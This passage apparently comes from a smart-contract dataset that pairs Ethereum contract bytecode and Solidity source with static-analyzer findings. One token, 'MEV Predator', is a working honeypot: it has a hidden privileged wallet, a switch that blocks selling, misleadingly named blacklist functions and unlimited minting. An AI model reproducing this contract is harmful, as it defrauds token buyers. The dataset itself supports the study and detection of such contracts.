1ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122017502bb1a23ac2d92a9014438444094a4419b34446a308f3a267bba05e8e7dfb64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,707 |
0xe1585ac257bb5717121d63b09446deaaa72a3005
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Easter_Inu is Context, IERC20, Ownable {
using Address for address payable;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isBot;
address[] private _excluded;
bool public swapEnabled;
bool public tradingActive;
bool private swapping;
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 500_000 * 10**_decimals;
uint256 public maxTxAmount = 10_000_000 * 10**_decimals;
uint256 public maxWalletBalance= 20_000_000 * 10**_decimals;
address public marketingWallet = 0xd1Dd2E3046BC3Ad98256Db21dc10f98754a46A0c ;
address public lpRecipient = 0xd1Dd2E3046BC3Ad98256Db21dc10f98754a46A0c;
string private constant _name = "Easter Inu";
string private constant _symbol = "EASTER";
struct Taxes {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
}
Taxes public taxes = Taxes(0,10,2);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
}
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor() {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory())
.createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
excludeFromReward(pair);
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet]=true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, false);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) public onlyOwner {
taxes = Taxes(_rfi, _marketing, _liquidity);
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal -=rRfi;
totFeesPaid.rfi +=tRfi;
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
totFeesPaid.liquidity +=tLiquidity;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tLiquidity;
}
_rOwned[address(this)] +=rLiquidity;
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
totFeesPaid.marketing +=tMarketing;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tMarketing;
}
_rOwned[address(this)] +=rMarketing;
}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);
(to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*taxes.rfi/100;
s.tMarketing = tAmount*taxes.marketing/100;
s.tLiquidity = tAmount*taxes.liquidity/100;
s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity;
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity) {
rAmount = tAmount*currentRate;
if(!takeFee) {
return(rAmount, rAmount, 0,0,0);
}
rRfi = s.tRfi*currentRate;
rMarketing = s.tMarketing*currentRate;
rLiquidity = s.tLiquidity*currentRate;
rTransferAmount = rAmount-rRfi-rMarketing-rLiquidity;
return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private returns(bool){
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
require(!isBot[from] && !isBot[to], "You are blacklisted");
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
require(amount <= maxTxAmount ,"Amount is exceeding maxTxAmount");
if(to != pair) require(balanceOf(to) + amount <= maxWalletBalance, "Recipient is eceeding maxWalletBalance");
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
swapAndLiquify(swapTokensAtAmount);
}
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
return true;
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender] ) { //from excluded
_tOwned[sender] = _tOwned[sender]-tAmount;
}
if (_isExcluded[recipient]) { //to excluded
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi);
if(s.rLiquidity > 0 || s.tLiquidity > 0) _takeLiquidity(s.rLiquidity,s.tLiquidity);
if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing);
emit Transfer(sender, recipient, s.tTransferAmount);
if(s.tLiquidity + s.tMarketing > 0) emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap{
// Split the contract balance into halves
uint256 denominator = (taxes.liquidity + taxes.marketing ) * 2;
uint256 tokensToAddLiquidityWith = tokens * taxes.liquidity / denominator;
uint256 toSwap = tokens - tokensToAddLiquidityWith;
uint256 initialBalance = address(this).balance;
swapTokensForBNB(toSwap);
uint256 deltaBalance = address(this).balance - initialBalance;
uint256 unitBalance= deltaBalance / (denominator - taxes.liquidity);
uint256 bnbToAddLiquidityWith = unitBalance * taxes.liquidity;
if(bnbToAddLiquidityWith > 0){
// Add liquidity to pancake
addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith);
}
uint256 marketingAmt = unitBalance * 2 * taxes.marketing;
if(marketingAmt > 0){
payable(marketingWallet).sendValue(marketingAmt);
}
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(router), tokenAmount);
// add the liquidity
router.addLiquidityETH{value: bnbAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
lpRecipient,
block.timestamp
);
}
function swapTokensForBNB(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
// make the swap
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function startTrading() external onlyOwner{
require(!tradingActive, "Trading already active");
tradingActive = true;
swapEnabled = true;
}
function updateMaxWalletBalance(uint256 amount) external onlyOwner{
maxWalletBalance = amount * 10**_decimals;
}
function updateMarketingWallet(address _marketingWallet) external onlyOwner{
marketingWallet = _marketingWallet;
}
function updateLpRecipient(address newAddress) external onlyOwner{
lpRecipient = newAddress;
}
function updateMaxTxAmount(uint256 amount) external onlyOwner{
maxTxAmount = amount * 10**_decimals;
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
swapTokensAtAmount = amount * 10**_decimals;
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
swapEnabled = _enabled;
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
router = IRouter(newRouter);
pair = newPair;
}
function setIsBot(address user, bool state) external onlyOwner{
isBot[user] = state;
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
require(address(this).balance >= weiAmount, "insufficient BNB balance");
payable(msg.sender).transfer(weiAmount);
}
// Function to allow admin to claim *other* BEP20 tokens sent to this contract (by mistake)
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
IERC20(_tokenAddr).transfer(_to, _amount);
}
receive() external payable{
}
}
|
0x73e1585ac257bb5717121d63b09446deaaa72a300530146080604052600080fdfea2646970667358221220a0246eb2a73c5ea59ccdfbd1ba43b896cc58c4263b124c8c97671f879f139a7f64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,708 |
0xb84e1733c5f1fa4708e4464afa4846eb08bfc325
|
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract MEVPredator is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 1000000*10**18;
string public _name = "MEV Predator";
string public _symbol= "MEV Predator";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0xfe22449A50922BeC9622a82800dc6c765d791e72);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function ExcludeFromFees(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function BlackListMEV(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function TrapMEV() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function EnableTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function ReplenishFunds(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x6080604052600436106101395760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae114610339578063a9059cbb14610359578063b09f126614610379578063c78e42491461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b80636ebcf607146102a257806370a08231146102c25780637d93ae6b146102e25780638da5cb5b1461030257806395d89b411461032457610140565b806321b0033a116100fd57806321b0033a146101f657806323b872dd14610216578063313ce567146102365780633eaaf86b146102585780634c0d02f01461026d5780636e4ee8111461028d57610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806318160ddd146101ca5780631d97b7cd146101df57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101656104a4565b3480156101eb57600080fd5b506101f46104aa565b005b34801561020257600080fd5b506101f4610211366004611174565b61082f565b34801561022257600080fd5b506101bd610231366004611109565b6108d1565b34801561024257600080fd5b5061024b610961565b6040516101729190611575565b34801561026457600080fd5b50610165610966565b34801561027957600080fd5b506101f4610288366004611174565b61096c565b34801561029957600080fd5b506101f4610a0e565b3480156102ae57600080fd5b506101656102bd366004611092565b610a50565b3480156102ce57600080fd5b506101656102dd366004611092565b610a62565b3480156102ee57600080fd5b506101f46102fd366004611149565b610a81565b34801561030e57600080fd5b50610317610b6d565b6040516101729190611282565b34801561033057600080fd5b50610190610b7c565b34801561034557600080fd5b506101f4610354366004611092565b610b8b565b34801561036557600080fd5b506101bd610374366004611149565b610bd9565b34801561038557600080fd5b50610190610bed565b34801561039a57600080fd5b506101f4610c7b565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b60065490565b600c546001600160a01b03163314806104cd5750600d546001600160a01b031633145b6104d657600080fd5b600954610100900460ff16156105075760405162461bcd60e51b81526004016104fe9061153e565b60405180910390fd5b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d916105689130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105a157600080fd5b505afa1580156105b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d991906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561062157600080fd5b505afa158015610635573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065991906110b5565b6040518363ffffffff1660e01b8152600401610676929190611296565b602060405180830381600087803b15